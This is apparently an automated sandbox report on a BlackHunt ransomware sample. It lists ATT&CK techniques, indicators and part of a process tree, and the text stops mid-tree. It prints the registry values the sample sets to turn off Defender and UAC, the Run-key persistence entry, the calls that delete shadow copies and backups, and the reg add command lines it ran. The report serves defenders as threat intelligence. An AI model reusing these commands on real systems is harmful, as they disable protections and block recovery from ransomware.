e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b

Data Destruction

T1485

pid	Process
3820	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2080	bcdedit.exe
1140	bcdedit.exe

Renames multiple (295) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2332	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\A:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\O:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\E:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\U:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\G:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\L:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\W:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\K:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\M:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\T:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\I:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\H:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\J:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\V:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\S:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\Z:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\R:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\P:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\N:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\Y:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\X:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened (read-only)	\??\B:	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\ko.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Google\#BlackHunt_Private.key	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\logging.properties	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.hta	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\id.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_ReadMe.hta	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fr.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gl.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_ReadMe.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fa.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nn.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.hta	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\co.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_Private.key	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\giflib.md	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kab.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\dotnet\shared\#BlackHunt_Private.key	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_ReadMe.hta	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\jpeg_fx.md	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmticmlr.h	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sa.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\AssertPing.pot	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\public_suffix.md	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\7z.sfx	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javacpl.cpl	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\COPYRIGHT	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_TW.properties	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\tzmappings	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.hta	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fy.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCallbacks.h	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\COPYRIGHT	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_ReadMe.hta	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\asm.md	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\icu_web.md	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\en.ttt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\libffi.md	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.hta	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_ReadMe.hta	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\yo.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_ReadMe.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_HK.properties	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_ReadMe.hta	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spl.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\pkcs11cryptotoken.md	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jsse.jar	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hy.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\mesa3d.md	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\psfont.properties.ja	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\sound.properties	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_CopyDrop32x32.gif	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\localedata.jar	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_Private.key	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\management.properties	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\joni.md	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1992	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1724	vssadmin.exe
4372	vssadmin.exe
4160	vssadmin.exe
5080	vssadmin.exe
3360	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
Token: SeRestorePrivilege	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
Token: SeBackupPrivilege	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
Token: SeTakeOwnershipPrivilege	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
Token: SeAuditPrivilege	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
Token: SeSecurityPrivilege	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
Token: SeIncBasePriorityPrivilege	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
Token: SeBackupPrivilege	2872	vssvc.exe
Token: SeRestorePrivilege	2872	vssvc.exe
Token: SeAuditPrivilege	2872	vssvc.exe
Token: SeBackupPrivilege	2244	wbengine.exe
Token: SeRestorePrivilege	2244	wbengine.exe
Token: SeSecurityPrivilege	2244	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4488 wrote to memory of 1252	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	92
PID 4488 wrote to memory of 1252	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	92
PID 4488 wrote to memory of 3316	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	94
PID 4488 wrote to memory of 3316	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	94
PID 4488 wrote to memory of 696	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	96
PID 4488 wrote to memory of 696	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	96
PID 4488 wrote to memory of 3732	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	99
PID 4488 wrote to memory of 3732	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	99
PID 4488 wrote to memory of 1536	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	100
PID 4488 wrote to memory of 1536	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	100
PID 696 wrote to memory of 2068	696	cmd.exe	105
PID 696 wrote to memory of 2068	696	cmd.exe	105
PID 1536 wrote to memory of 3896	1536	cmd.exe	103
PID 1536 wrote to memory of 3896	1536	cmd.exe	103
PID 3732 wrote to memory of 2860	3732	cmd.exe	104
PID 3732 wrote to memory of 2860	3732	cmd.exe	104
PID 3316 wrote to memory of 3240	3316	cmd.exe	102
PID 3316 wrote to memory of 3240	3316	cmd.exe	102
PID 1252 wrote to memory of 2596	1252	cmd.exe	106
PID 1252 wrote to memory of 2596	1252	cmd.exe	106
PID 4488 wrote to memory of 1860	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	107
PID 4488 wrote to memory of 1860	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	107
PID 4488 wrote to memory of 3760	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	109
PID 4488 wrote to memory of 3760	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	109
PID 4488 wrote to memory of 3996	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	111
PID 4488 wrote to memory of 3996	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	111
PID 4488 wrote to memory of 4848	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	113
PID 4488 wrote to memory of 4848	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	113
PID 4488 wrote to memory of 3004	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	115
PID 4488 wrote to memory of 3004	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	115
PID 1860 wrote to memory of 2496	1860	cmd.exe	117
PID 1860 wrote to memory of 2496	1860	cmd.exe	117
PID 3760 wrote to memory of 4768	3760	cmd.exe	118
PID 3760 wrote to memory of 4768	3760	cmd.exe	118
PID 3996 wrote to memory of 1132	3996	cmd.exe	120
PID 3996 wrote to memory of 1132	3996	cmd.exe	120
PID 4488 wrote to memory of 1300	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	119
PID 4488 wrote to memory of 1300	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	119
PID 4488 wrote to memory of 4724	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	123
PID 4488 wrote to memory of 4724	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	123
PID 4488 wrote to memory of 1712	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	125
PID 4488 wrote to memory of 1712	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	125
PID 4848 wrote to memory of 1788	4848	cmd.exe	124
PID 4848 wrote to memory of 1788	4848	cmd.exe	124
PID 3004 wrote to memory of 4980	3004	cmd.exe	127
PID 3004 wrote to memory of 4980	3004	cmd.exe	127
PID 4488 wrote to memory of 3268	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	128
PID 4488 wrote to memory of 3268	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	128
PID 4488 wrote to memory of 4352	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	131
PID 4488 wrote to memory of 4352	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	131
PID 1300 wrote to memory of 2252	1300	cmd.exe	132
PID 1300 wrote to memory of 2252	1300	cmd.exe	132
PID 4488 wrote to memory of 2180	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	139
PID 4488 wrote to memory of 2180	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	139
PID 4488 wrote to memory of 4456	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	133
PID 4488 wrote to memory of 4456	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	133
PID 4488 wrote to memory of 956	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	138
PID 4488 wrote to memory of 956	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	138
PID 4488 wrote to memory of 1640	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	136
PID 4488 wrote to memory of 1640	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	136
PID 4488 wrote to memory of 1708	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	141
PID 4488 wrote to memory of 1708	4488	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe	141
PID 4724 wrote to memory of 1120	4724	cmd.exe	142
PID 4724 wrote to memory of 1120	4724	cmd.exe	142

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe
"C:\Users\Admin\AppData\Local\Temp\e5381f1a8b8226c58d6349e03536857fa2724abe7cf406616c544caed4ea7a0b.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2068
- C:\Windows\System32\cmd.exe
